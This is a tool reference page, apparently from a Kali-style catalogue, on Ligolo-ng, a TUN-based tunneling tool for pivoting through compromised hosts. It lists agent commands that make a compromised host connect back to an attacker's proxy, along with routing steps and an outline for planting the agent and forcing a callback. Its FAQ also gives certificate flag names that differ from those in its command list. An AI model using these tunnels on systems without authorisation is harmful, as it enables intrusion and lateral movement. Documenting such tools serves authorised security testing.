GO KALI FREE

Ligolo-ng

Maintaining Access

Advancedhigh risk

Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.

Installation

go install github.com/nicocha30/ligolo-ng@latest

Basic Syntax

ligolo-proxy / ligolo-agent

Quick Facts

Full Name
Ligolo-ng
License
BSD 3-Clause
Author
Nicocha30
Written In
Go
Platforms
Linux, Windows, macOS
Category
Maintaining Access / Tunneling
First Release
2022
Tunnel Type
TUN Interface (Network Layer)

Tool Overview

Ligolo-ng is a lightweight tunneling tool that creates network-layer tunnels using TUN interfaces. It allows penetration testers to route traffic through a compromised host as if they were directly connected to the target's internal network, without needing separate SOCKS proxies for each tool.

Unlike application-layer proxies, Ligolo-ng operates at the network layer by creating a virtual TUN interface. This means any tool works transparently — Nmap, Metasploit, browser, or custom scripts — all route through the tunnel without individual proxy configuration.

Ligolo-ng consists of two components: the proxy (running on the attacker machine) and the agent (running on the compromised target). The agent connects back to the proxy over TCP/TLS, and the proxy creates a TUN interface that routes traffic to the target's network.

Common Commands

./proxy -selfcertStart the Ligolo-ng proxy server with a self-signed certificate
./proxy -selfcert -laddr 0.0.0.0:11601Start the proxy listening on a specific address and port for agents
./proxy -certfile cert.pem -keyfile key.pemStart the proxy using a provided TLS certificate and key
./proxy -selfcert -allow-domains example.comStart the proxy restricting the self-signed cert to given domains
./agent -connect 10.10.10.10:11601Connect an agent back to the proxy control server
./agent -connect 10.10.10.10:11601 -ignore-certConnect an agent while ignoring TLS certificate verification
./agent -connect 10.10.10.10:11601 -retryConnect an agent and keep retrying if the connection drops
agent.exe -connect 10.10.10.10:11601 -ignore-certRun the Windows agent binary connecting back to the proxy
./agent -bind 0.0.0.0:11601 -ignore-certRun the agent in bind mode so the proxy connects to it
sessionSelect the active agent session to interact with
ifconfigShow the network interfaces reported by the selected agent
sudo ip tuntap add user <USER> mode tun ligoloCreate the ligolo tun interface on the operator host
sudo ip link set ligolo upBring the ligolo tun interface up
sudo ip route add 192.168.1.0/24 dev ligoloRoute a remote subnet through the ligolo interface
sudo ip route add 240.0.0.1/32 dev ligoloAdd the special route to reach the agent host's own 127.0.0.1 services

Step-by-Step Guide

  1. 1Configure a virtual network interface on your control machine
  2. 2Launch the primary listening server
  3. 3Move the executable payload onto the compromised host
  4. 4Force the host to call back to your listening server
  5. 5Activate the routing tunnel within the control interface
  6. 6Direct your local attack tools through the newly established route

Warnings

Use Cases

Network Pivoting

Route traffic through a compromised host to access internal networks without SOCKS configuration.

Lateral Movement

Scan and exploit additional targets within the internal network through the established tunnel.

Transparent Proxying

Access internal services directly as if you were physically connected to the target network.

Multi-Hop Pivoting

Chain multiple Ligolo-ng tunnels to traverse deeply nested network segments.

Tool Integration

Use any existing tool (Nmap, browser, SSH) without proxy configuration through the TUN interface.

Red Team Infrastructure

Create persistent tunnels for command and control traffic during extended red team operations.

Key Features

Related Tools

Chisel

Maintaining Access

HTTP-based TCP/UDP tunnel with SOCKS proxy support for firewall bypass.

ProxyChains

Maintaining Access

Force TCP applications through proxy chains for routing.

sshuttle

Maintaining Access

Transparent VPN over SSH without admin rights on remote server.

Socat

Maintaining Access

Bidirectional data relay for shells, forwarding, and encrypted tunnels.

Nmap

Information Gathering

Network scanner for discovering hosts and services through tunnels.

Frequently Asked Questions

What is Ligolo-ng used for?

Ligolo-ng is a tunneling tool that creates network-layer tunnels using TUN interfaces. It allows penetration testers to route traffic through a compromised host as if they were directly connected to the target's network. It replaces complex SOCKS proxy chains with a simple, fast, bidirectional tunnel.

How does Ligolo-ng differ from Chisel?

Ligolo-ng creates a TUN interface at the network layer, making it transparent to all applications. Chisel creates SOCKS proxies or port forwards at the application layer. With Ligolo-ng, every tool works without proxy configuration — you just route traffic to the TUN interface's IP range.

Do I need admin privileges on the target?

The Ligolo-ng agent does not require admin privileges on the target to establish the connection. However, the proxy side (your attack machine) requires admin/root privileges to create the TUN interface. On Windows targets, the agent needs the TUN driver installed.

Is Ligolo-ng traffic encrypted?

Yes, Ligolo-ng supports TLS encryption for all traffic between the proxy and agent. Use the -selfcert flag on the proxy to generate a self-signed certificate, or provide your own certificate with the -cert and -key flags for production use.

Tags

#maintaining-access#pivoting#tunneling#networking

Output Explanation

The interface provides a dashboard indicating live sessions, active host connections, and the operational state of the network tunnels.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.